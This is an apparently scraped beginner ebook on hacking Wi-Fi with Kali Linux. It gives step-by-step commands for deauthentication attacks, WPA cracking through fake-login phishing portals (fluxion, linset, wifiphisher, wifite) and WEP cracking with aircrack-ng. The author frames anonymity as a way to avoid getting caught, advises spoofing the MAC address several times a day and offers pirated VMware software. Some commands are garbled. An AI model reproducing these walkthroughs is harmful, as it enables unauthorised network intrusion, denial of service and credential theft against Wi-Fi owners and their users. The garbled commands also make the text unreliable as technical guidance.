You are on page 1of 51

Pentesting

Wifi

beginner to

pro

Preface

The goal of this book is to share the art

of hacking with everyone.

Understanding hacking techniques is

often difficult, since it requires both

breadth and depth of knowledge. Many


hacking texts seem esoteric and

confusing because of just a few gaps in

this prerequisite education This book of

wifi Hacking makes the world of

hacking more accessible by providing

the complete picture—from installing

kali linux to pentesting wifi .

INDEX

Installing kali linux

instal kali linux on hard disk

1-9

instal kali linux on vmware workstation

10-11

setting up kali linux for pentesting wifi

12

Notes

13-16

Anonymous

using tor and proxychains

17-19
change mac address(spoof)

20

using anonsurf

21-22

tips and tricks

23

Pentesting wifi

deauthentication attack

24-27

wpa/wpa2 attack

28-33

wep attack

34-38

Proof of Hacking

39-41

installing kali linux

IN THIS CHAPTER

- HOW TO INSTALL KALI LINUX ON HARD DISK(PERMANENT)

- HOW TO INSTALL KALI LINUX ON VMWARE WORKSTATION

- SETTING UP KALI LINUX FOR HACKING


recommendation :-

instal kali linux on vmware as it contains less error and it is easy for newbie

How to Install Kali

Linux on Hard Disk

STEPS

1. Download Klai Linux from official website of kali linux . choose your
version whether 32-bit or 64-bit.choose 32-bit version if your computer's
ram is less as 64-bit version consumes too much of computer's ram

2. Make bootable pendrive or burn the image .iso (KAlLI LINUX

IMAGE) in CD . I wil recommend you to choose a bootable

pendrive .

HOW TO MAKE BOOTABLE

PENDRIVE?
YOU CAN WATCH IN NOTES WHEN THIS CHAPTER IS

COMPLETED

(note-1)
3. After having Bootable Kali Linux usb turn your pc on,in the bios section
choose usb/cd as your boot startup priority

4. Kali Linux boot screen wil appear chose for graphical instal using arrow
keys on your keyboard

5. Choose your respective language for the instal ation and then your
country location, this should be location were you live. You wil also need to
configure your keyboard language with correct keymap

6. select you location in this step .In mine case it is "INDIA"


7. Configure the keyboard

8. By default it wil configure the Network, if you have a DHCP

server from router or from our local dedicated DHCP server. If not, you
have to assign the IP and host name as fol ows

9. Here I’m going to choose manual configuration, select Configure


network manual y and click Continue to provide the IP address with
Netmask in the format of IP Address/Netmask 192.168.0.155/24
10 . Next, provide the gateway IP address of the default router. If you don’t
have a router, in this case you can leave this blank or consult your network
administrator to configure it. Here I am using my gateway router IP address
192.168.0.1.

11 . Next, enter the hostname for your Kali Linux instal ation you can write
anyname you want

12 . Next, set the domain name if you have one or leave blank and click
Continue to move forward

13 . On the next screen, you need to set a password for root user, it’s always
a good practice to use mixture of letters, numbers and special characters in
passwords and should be changed on

regular intervals to protect your servers


14 . Configure the clock to match with the your chosen location, if you
connected to internet this wil set automatical y!

15 . now its time to do partition disk (A COMPLICATED STEP -

GIVE MORE ATTENTION)

- if you choose guided-entire disk then, the

os wil be insttal in entire hard drive

- if you chosse manual you can create a

seperate partition for your kali linux os

and instal it on the same partion

RECOMMENDATION :-

USE ENTIRE DISK IF YOU ARE A NEWBIE TO KALI LINUX


16 . Now it wil start instal ing

17 . After copying files, you wil be asked to configuring package manager.


In this step, we’re going to configure the mirror network to get the packages
for the future instal ations. If you don’t have a internet connection, you can
choose NO, to depend on media repo, if you choose a network mirror to
YES, it wil get prepared to use the available nearby repository mirror
18 . it wil ask for http proxy -(you may leave it blank)

19 . choose YES to instal the GRUB boot loader in our system 20 . After
instal ation completes, click on Continue to finish instal ation, and make
sure to remove the instal ation media, before rebooting the machine.
21 . After you login your with your username-"root" (by default) and with
your password you have registered with earlier you

wil see this screen :-

That’s it we’ve successfully installed

Kali Linux and your system is ready to

customize as per your requirements.

installed
How to Install Kali Linux in Vmware

Workstaion

STEPS

1 . Download kali linux.iso from kali linux official website and virtual
machine i.e vmware workstation pro from the link given in the notes of this
chapter at last (note-2)

2 . create a create new virtual machine and choose kali linux.iso from
directory after instal ing and running vmware workstation 3 . select linux as
aguest operating system
4 . give name and location

s . set disk space (25 GB is recommended)

6 . Review the hardware configuration and start the virtual

machine

7 . Than choose the steps that we choose earlier to instal kali linux
Setting Up Kali Linux

STEPS

1 . open terminal and type this command:-


apt-get update && apt-get upgrade

2 . It wil Take Some time if your kali linux is of older version 3 . To


Upgrade the Distro type this command : -

apt-get dist-upgrade

DONE YOUR KALI LINUX IS READY

TO DO ALL STUFF
NOTES

HOW TO MAKE A BOOTABLE KALI

LINUX USB

STEPS

1 . Download universal usb instal er

2 . Select kali linux in step 1 as shown below

3 . browse to kali linux.iso


4 . then select your usb flash drive

5 . Check format button and click on create and once it wil be processed
you wil see this type of scree : -

your bootable kali linux usb is

created!!!!

HOW TO DOWNLOAD VMWARE

WORKSTATION

1 . YOU CAN DOWNLOAD FREE TRAIL FROM VMWARE

OFFICIAL WEBSITE

OR

2 . I CAN PROVIDE YOU THE FULL VERSION OF VMWARE

WORKSTATION 12 PRO. IF YOU WANT FULL VERSION


YOU CAN CONTACT ME THROGH MAIL.

ADDITIONAL

if you are unable to install kali linux

from above 2 methods or you are going

through some problem feel free to

contact me through mail -

htomar003@gmail.com

---if in between virtual machine asks

for installing vmware tool,then install

them because they help to run linux on

vmware workstaion more smoothly

and on full screen otherwise you can

also install vmware tools later by going

in menu!!

installed

Anonymous

IN THIS CHAPTER

- HOW TO BE ANONYMOUS USING TOR AND PROXYCHAINS

- HOW TO CHANGE MAC ADDRESS (SPOOF)

- HOW TO BE ANONYMOUS USING ANONSURF


- TIPS AND TRICKS

recommendation :-

if you are hacking or testing some website do noy forgot to be anonymous


or you wil get caught

How To Be Anonymous

Using Tor and

Proxychains

STEPS

1. open up terminal and write this command

apt-get instal tor

2. then,to instal proxychains type this command

apt-get instal proxychains

3 . then run this command


leafpad /etc/proxychains.conf

4 . it wil open a configration file,find the line"# strict_chain" and remove #


from it to un comment it

5 . find the line "# dynamic_chain" and remove # from it to uncomment it

6 . Now at the bottom you can see # add proxy ,here you can add your own
proxy if you have one with high speed or you can leave this blank and move
further

7 . save the file and close terminal also

8 . open another terminal and type

service tor start

9 . then type:-

proxychains firefox www.google.com

replace firefox with your current browser and www.google.com with the
website you want to surf or test

10 . to check if it is working.write this

proxychains firefox www.findmyip.org

your ip wil become private and no one can trace you

ENJOY YOU ARE ANONYMOUS


How To Spoof Mac

Address

STEPS

1 . Run termianl and type this command

ifconfig wlan1 down

2 . then type : -

macchanger -r wlan1

Replace wlan1 with your network adapter name maybe you have

waln0 or mon0,to check which one you have write ifconfig and you name
of dapeter wil be shown

3 . If you want to sppoof the changed mac address for highly

anonymous you can do by typing this :-

macchanger -m (spoofing mac address) wlan1


4 . replace spoofing amcaddress with your mac address without brackets

DONE YOU ARE ANONYMOUS NOW

How To Use Anonsurf

STEPS

1 . download anonsurf by typing this command ,open terminal and write


this,

git clone https://github.com/Und3rf10w/kali-anonsurf.git

2 . then go to directory of downloaded file

cd kali-anonsurf

3 . now do the ls command

ls

4 . if you see instal er.sh as green its oky but if you see it is white then do
this command
chmod+x instal er.sh

5 . once it becomes green do this

./instal er.sh

6 . done!! now run it

anonsurf start

7 . if you want to stop it or restart it just type these codes anonsurf stop

anonsurf restart

DONE YOU ARE ANONYMOUS NOW

TIPS AND TRICKS

1 . NEVER USE YOUR PERSONAL

CONTACT INFORMATION WHILE

PENTESTING(HACKING) I.E DO NOT


OPEN GMAIL ACCOUNT OR ANY

OTHER SOCIAL NETWORKING

ACCOUNT OF YOURS

2 . CHANGE OR SPOOF MAC ADDRESS

THREE TIMES A DAY

3 . KEEP A REGULAR CHECK ON

VISIBILTY OF MAC ADDRESS

PENTESTING WIFI

IN THIS CHAPTER

- DEAUTHENTICATION ATTACK

- WPA ATTACKS - using wps pixie

- using fluxion

- using linset

- using wifipisher

- WEP ATTACKS - using simple attack

- using chop chop attack

- using automated tool

recommendation :-

use only for education purpose

Deauthentication
Attack

This attack disconnects all clients from

a particular wifi router even if you have

no password of that wifi network, you

can perform deauthentication attack

but use it only for educational purposes

otherwise you will get caught so dont be

a fool and act smartly

Deauthentication Attack

STEPS

1 . Download fluxion tool by writing this,

git clone https://github.com/deltaflux/fluxion.git


2 . Run ls command to see what inside this tool

ls

3 . choose fluxion

cd fluxion

4 . run ls again

ls

5 . you wil see instal er.sh,run that

./instal er.sh

6 . after instal ing again type ls

ls

7 . run fluxion

./fluxion

8 . here we go,our tool is started

9. choose your language

10 . choose you wireless adater,basical y wlan0

11 . Now it wil scan wifi network around you .press control + c to stop
scanning

12 . select the target you want to send deauth packets

13 . then choose fake-ap hosted

14 . choose aricrack-ng

15 . then choose deauth al


DONE,now no one can connect to that

router until the router is restarted by

the owner

WPA ATTACKS

WPA was originally meant as a wrapper

to WEP which tackles the insecurities

caused by WEP. It was actually never

meant as a security standard but just as

a quick fix until WPA2 became

available.

There are two modes in which it can

operate:

WPA-PSK: Preshared key (password)

WPA-Enterprise: This requires a

RADIUS server and can be combined

with an Extensible Authentication

Protocol (EAP).
Using Wps Pixie

STEPS

1 . First of al instal wifite by writing this code

apt-get instal wifite

2 . then,run wifite by typing :-

wifite

3 . now it wil scan network around you , use control + c to stop it!

4 . you can only crack wifi network password which are wps

enabled

5. select the target

6 . wait for a minute it wil perform possible attacks

DONE,now you will get a password of


that wifi network

Using Fluxion Tool

STEPS

1 . instal ation and deauthentication by using fluxion is discussed earlier


now moving on,

2 . after deauthenticating the wifi network once you get handshake press
control + c to stop it and choose webinterface

3 . now choose language

4 . then you can see 2-3 windows doing process for you

5 . once someone connect to that network he/she wil be redirected to fake


login and we wil get creditionals once the user intput password

DONE,
Using Linset

STEPS

1 . download linset tool by this command

git clone https://www.github.com/kernel-64/linset.git

2 . perform the ls command and choose linset

ls

cd linset

3 . now do the ls command again

ls

4 . make the files instal able(green) by typing this command

chmod+x airmon linset

5 . now instal linset


./linset

6 . now you can do the same attack as you have done in the

previous steps ( using fluxion)

Using Wifi Phisher

STEPS

NOTE :- you wil need two external wifi adapter in this tool because it is the
most powerful tool to attack on wifi network

1 . Download wifiphisher by typing this code

git clone https://github.com/wifiphisher/wifiphisher

2 . perform ls command

ls

3 . open wifiphisher

cd wifiphisher
4 . do ls again

ls

5 . instal

python setup.py instal

6 . now type

wifiphisher

7 . it wil start and after a minute shows al networks available near you

8 . press control + c to stop it

9 . Now you have numbers of ap to choose,choose the number of that ap


you want to crack password of

10 . now it wil redirect user to fake login and you wil get creditionals as in
fluxion or linset tool

DONE

WEP ATTACKS

WEP was the first algorithm used to

secure wireless access points.

Unfortunately it was discovered that

WEP had some serious flaws. In 2001, 3

researchers working at Berkeley

produced a paper named “(In)Security

of the WEP algorithm“. They found the


following flaws in WEP:

Passive attacks to decrypt traffic based

on statistical analysis.

Active attack to inject new traffic from

unauthorized mobile stations, based on

known plaintext.

Active attacks to decrypt traffic, based

on tricking the access point.

Dictionary-building attack that, after

analysis of about a day’s worth of

traffic, allows real-time automated

decryption of all traffic.


Using Simple Attack

STEPS

1 . type iwconfig in terminal and see if the wifi adapter mode is manged or
not and if it is then turn it into monitor mode by the fol owing command :-

airmon -ng start wlan0

2 . now type

airodump -ng wlan0mon

3 . pres control + c to stop scanning and now type

airodump -ng -bssid XX:XX:X.....(bssid of your choosen network) --

channel XX(channel of your chosen wifi network) --write start wlan0mon

4 . now lets data increse itself anf once it becomes more than 25000 try to
crack it by opening terminal and typing : -

aircrack -ng /root/start-01.cap

5 . if it ask for more data then wait for it ,it wil crack password once data
become higher as it is required to be!!
Chop-Chop Attack

STEPS

1 . put wifi adapter into monitor mode

airodump -ng wlan0mon

2 . then type :-

airodump -ng mon0 -c (channel of your ap) --bssid XX:XX..... -w out

3 . open another window and type this,(you can even spoof your mac
address before doing this for security purposes)

aireplay-ng -1 0 -e test -a XX:XX:.....(mac address of ap) -h XX:XX...(your


mac address) mon0

4 . now run this commmand

aireplay-ng -4 -e test -b XX:XX...(mac address of ap) -h XX:XX...

(mac address of your wifi mon0)


5 . then start packetforge

packetforge-ng

6 . then type this,

packetforge-ng -0 a XX:XX...(mac address of ap) -h XX:XX....(mac


address of your wifi) -k 255.255.255.255 -l 255.255.255.255 -y replay_dec-
XXXXX....(you can see this file in previous steps

results) -w

7 . now inject the packet ito access point

aireplay-ng -2 -r arp-request mon0

8 . now run this command

aircrack-ng out-0.cap(you can replace this with your captured file above)

DONE

Automated Tool
STEPS

1 . FIrstly type,

wifite

2 . wait for it to load it wil automattical y turn the wifi card into monitor
mode and start scanning networks around you,press

control + c to stop the scan

3 . choose your ap(only choose wps enabled if it not wps enabled try other
attacking tools)

4 . now it wil run al the possible attacks on your access point and once
attack is successfukky terminated you wil get your results in the form of
key,put that key in password of that net work and you are done!!

DONE

PROOF
1 . wps pixie

2 . fluxion tool

3 . wifiphisher

4 . simple attack
5 . chopchop attack

6 . automated tool-wifite

END. . .

If you want to get information on any of

the topics given in this book feel free to


contact me and if you are not able to

understand the steps made in this book,

contact me and i will give you videos of

each topic you have problem

with.Thank you

Gmail - htomar003@gmail.com

- htomar22222@gmail.com

The next book will be on Android

Hacking ......

OceanofPDF.com

You might also like